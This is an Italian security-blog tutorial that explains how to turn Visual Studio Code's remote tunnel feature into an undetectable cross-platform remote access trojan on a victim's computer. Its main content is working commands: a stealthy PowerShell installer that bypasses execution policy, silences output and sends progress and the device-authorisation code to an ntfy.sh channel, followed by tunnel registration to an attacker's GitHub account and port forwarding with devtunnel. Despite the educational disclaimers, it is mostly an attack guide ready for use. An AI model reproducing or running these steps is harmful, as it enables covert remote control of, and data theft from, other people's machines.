Red Hot Cyber
Condividi la tua difesa. Incoraggia l'eccellenza. La vera forza della cybersecurity risiede nell'effetto moltiplicatore della conoscenza.
Condividi la tua difesa. Incoraggia l'eccellenza.
La vera forza della cybersecurity risiede
nell'effetto moltiplicatore della conoscenza.
UtiliaCS 970x120
TM RedHotCyber 320x100 042514
Weaponizing VSCode: Il Tuo Compagno ideale per Creare RAT Multipiattaforma

Weaponizing VSCode: Il Tuo Compagno ideale per Creare RAT Multipiattaforma

8 Settembre 2023 07:37

A cura di Roberto Bindi

Un “FUD RAT” è un tipo di malware che è stato progettato per essere completamente indetectable da strumenti di sicurezza e antivirus e che fornisce funzionalità di controllo remoto su un dispositivo o un computer di destinazione. Il nome del malware è una combinazione dei seguenti due termini:

  1. FUD (Fully Undetectable): Questo acronimo indica che un software o un malware è completamente indetectable o “totalmente indistinguibile” dagli strumenti di sicurezza, come gli antivirus. In altre parole, un FUD malware è progettato per evitare la rilevazione e il riconoscimento da parte di software antivirus e altre soluzioni di sicurezza informatica.
  2. RAT (Remote Access Trojan): Un RAT è un tipo di malware progettato per consentire a un attaccante di accedere e controllare un computer o un dispositivo remoto senza il consenso o la conoscenza dell’utente. I RAT vengono spesso utilizzati per scopi malevoli, come il furto di dati, il monitoraggio delle attività dell’utente, l’esecuzione di comandi arbitrari e altro ancora.

Gli attaccanti spesso utilizzano FUD RAT per scopi malevoli, come il controllo di computer o dispositivi di vittime senza il loro consenso. È importante notare che l’uso di tali strumenti è illegale e viola la privacy e la sicurezza degli utenti.

In questo tutorial spiegheremo come utilizzare VSCode riportandoci agli albori di questi malware.

Nota1: questa funzionalità può essere utilizzata in modo dannoso, pertanto il tutorial riveste il solo scopo divulgativo e per consentire alle aziende di prendere le dovute accortezze per scongiurare tale minaccia;
Nota2: deve essere testato solo in sistemi di proprietà o macchine client
.

Weaponizing VSCode

Sei stanco di dover passare ore a sviluppare FUD RAT, solo per Sentinel One che lo segnala come positivo dopo un paio d’ore? Ti piacciono le GUI fantasiose e vuoi tornare ai primi anni ’90, quando i RAT avevano effettivamente GUI decenti?

Non temere! VSCode è qui per te!

Tutti conoscono VSCode e tutti ne hanno una sensazione molto positiva o molto negativa, ma oggi parleremo di come trasformarlo in un FUD e un RAT multipiattaforma davvero potente, completo di file manager con upload/download di file, shell, port forwarding e molto altro!

La cosa più ovvia e singolare di tutto questo è che, se fatto correttamente, gli unici IP mostrati nel Firewall della vittima sono di proprietà di Micro$oft.

Passaggio 0: di cosa abbiamo bisogno?

  • Tu e il computer di destinazione dovete avere accesso a Internet
  • Un account Github vuoto/non importante (la vittima potrebbe essere in grado di accedervi)

Passaggio 1: la distribuzione

Esistono diversi modi per implementarlo in un target, esamineremo principalmente l’implementazione di Windows ma vorrei sottolineare che tutte le tecniche descritte funzionano su Windows, Linux e OSx.

Vedremo due tecniche di distribuzione qui:

  • Un metodo canonico tramite le funzionalità di Windows;
  • un metodo più stealth tramite scripting.

Passaggio 1.A: distribuzione integrata

Installare vscode è semplice (come utente normale, non sono richiesti diritti di amministratore), basta eseguire:

winget install Microsoft.VisualStudioCode --accept-package-agreements --accept-source-agreements --silent --source winget

In questo modo, winget installerà automaticamente VSCode sotto: %localappdata%\Programs\Microsoft VS Code

Avvertenze: Installando l’app in questo modo, vscode apparirà nelle applicazioni installate come qualsiasi altra applicazione.

Passaggio 1.B: Scripting

Se non abbiamo accesso a Winget possiamo sempre scegliere di scaricarlo utilizzando PowerShell (di nuovo, non sono richiesti diritti di amministratore):

# powershell.exe -noprofile -executionpolicy bypass -file .\test.ps1
$bkname = "yourmagicalname"
$ProgressPreference = 'SilentlyContinue'
$ErrorActionPreference = 'SilentlyContinue'
 
function Ntfy {
    param (
        $message
    )
     
    $Request = @{
      Method = "POST"
      URI = "https://ntfy.sh/${bkname}"
      Body = $message
    }
    Invoke-RestMethod @Request | Out-Null
}
 
NTFY "Downloading vs.."
wget "https://code.visualstudio.com/sha/download?build=stable&os=win32-x64-archive" -OutFile "vs.zip"
NTFY "Downloading vc.."
wget "https://code.visualstudio.com/sha/download?build=stable&os=cli-win32-x64" -OutFile "vc.zip"
NTFY "Extracting vs.."
Remove-Item -Recurse -Force vs | Out-Null
Expand-Archive vs.zip -DestinationPath vs
NTFY "Extracting vc.."
Remove-Item -Recurse -Force vc | Out-Null
Expand-Archive vc.zip -DestinationPath vc
NTFY "Cleaning up.."
Remove-Item vs.zip
Remove-Item vc.zip
NTFY "Registering vs.."
.\vc\code.exe version use stable --install-dir ".\vs\" | Foreach-Object { NTFY "STDOUT> $_" }

Nel codice sopra possiamo notare che ntfy.sh viene utilizzato per tenerci aggiornati sull’avanzamento dell’installazione:

Questo sarà utile in seguito anche per recuperare il codice di abilitazione.

Passaggio 2: registrazione del client

Successivamente, dobbiamo collegare il nuovo dispositivo al nostro Github, in questo modo:

cd ${YOUR_VISUAL_STUDIO_CODE_CLI_PATH}
$bkname = "yourmagicalname"
code tunnel rename "${bkname}"

L’ultimo comando stamperà un codice dispositivo

Nota: se installato tramite Winget ( Passaggio 1.A ), il percorso della CLI è:

%localappdata%\Programs\Microsoft VS Code\bin\

Se installato manualmente ( Passaggio 1.B ), il percorso cli è.\vc\

Ora apri il browser e visita https://github.com/login/device, effettua il login (se necessario) e inserisci il codice del dispositivo recuperato sopra:

Ancora una volta, ricorda che stai condividendo MOLTE INFORMAZIONI:

Quindi assicurati di aver scelto l’account Github corretto e premi “Autorizza Visual-Studio Code”.

La console confermerà l’operazione e rilascerà il terminale.

Passaggio 3: avvio del tunnel

Avviare il tunnel è facile come eseguire:

.\code tunnel --accept-server-license-terms

Ora saremo in grado di raggiungere il sistema visitando https://vscode.dev/tunnel/yourmagicalname o collegandolo utilizzando l’estensione Remote Tunnel in vscode(è anche contenuta nel gruppo di estensioni Remote Development)

Al primo accesso la macchina scaricherà il server vscode appropriato e lo avvierà automaticamente. Dopo pochi secondi verremo accolti con un ambiente VSCode completamente funzionante tramite interfaccia web:

O client locale:

Passaggio 4: Port Forwarding

È possibile anche un port forwarding semplificato interagendo con la scheda “PORTS”:

Ma se abbiamo bisogno di qualcosa di più del semplice accesso ai servizi HTTP/HTTPS da remoto, possiamo utilizzare un altro strumento di madre Micro$oft:

Devtunnels (qui https://learn.microsoft.com/en-us/azure/developer/dev-tunnels/get-started?tabs=windows )

Devtunnels è stato creato appositamente per interagire con i tunnel ed esporrà tutte le client ports localmente. Primo passo: accedi a github

devtunnel user login -g

Ora possiamo elencare i tunnel attivi:

devtunnel list

E finalmente possiamo inoltrare tutte le porte remote eseguendo:

devtunnel connect ${YOUR_TUNNEL_ID}

Ti è piaciuto questo articolo? Ne stiamo discutendo nella nostra Community su LinkedIn, Facebook e Instagram. Seguici anche su Google News, per ricevere aggiornamenti quotidiani sulla sicurezza informatica o Scrivici se desideri segnalarci notizie, approfondimenti o contributi da pubblicare.

Agostino Pellegrino 300x300
E’ un libero professionista, insegnante e perito di informatica Forense, Cyber Security ed Ethical Hacking e Network Management. Ha collaborato con importanti istituti di formazione a livello internazionale e ha esercitato teaching e tutorship in tecniche avanzate di Offensive Security per la NATO ottenendo importanti riconoscimenti dal Governo degli Stati Uniti. Il suo motto è “Studio. Sempre”.
Aree di competenza: Cybersecurity architecture, Threat intelligence, Digital forensics, Offensive security, Incident response & SOAR, Malware analysis, Compliance & frameworks

Articoli in evidenza

Immagine del sitoCyber News
Scoperta Shock su Instagram: Post Privati Accessibili Senza Login!
Redazione RHC - 26/01/2026

La scoperta è avvenuta casualmente: navigando sulla versione web mobile di Instagram, Jatin Banga ha notato che i contenuti di alcuni profili privati erano visibili senza alcuna autorizzazione. Analizzando il traffico dati, ha individuato la…

Immagine del sitoCyber News
149 Milioni di Account Esposti: Il Database Che Nessuno Doveva Vedere
Redazione RHC - 26/01/2026

Un recente leak ha rivelato 149 milioni di login e password esposti online, tra cui account di servizi finanziari, social, gaming e siti di incontri. La scoperta è stata fatta dal ricercatore Jeremiah Fowler e…

Immagine del sitoCyber News
Quando il Malware si Nasconde nei Video! La Tecnica PixelCode Smonta le Regole
Redazione RHC - 26/01/2026

PixelCode nasce come progetto di ricerca che esplora una tecnica nascosta per archiviare dati binari all’interno di immagini o video. Invece di lasciare un eseguibile in chiaro, il file viene convertito in dati pixel, trasformando…

Immagine del sitoCyber News
Come un semplice file di Visual Studio Code può diventare una backdoor per hacker statali
Redazione RHC - 26/01/2026

Di recente, i ricercatori di sicurezza hanno osservato un’evoluzione preoccupante nelle tattiche offensive attribuite ad attori collegati alla Corea del Nord nell’ambito della campagna nota come Contagious Interview: non più semplici truffe di fake job…

Immagine del sitoCyber News
Microsoft Teams saprà dove sei: la posizione geografica verrà dedotta dal Wi-Fi
Redazione RHC - 26/01/2026

Microsoft si appresta a introdurre un aggiornamento che trasforma una piccola abitudine manuale in un automatismo di sistema. Presto, Microsoft Teams sarà in grado di dedurre e mostrare la posizione fisica di un utente analizzando…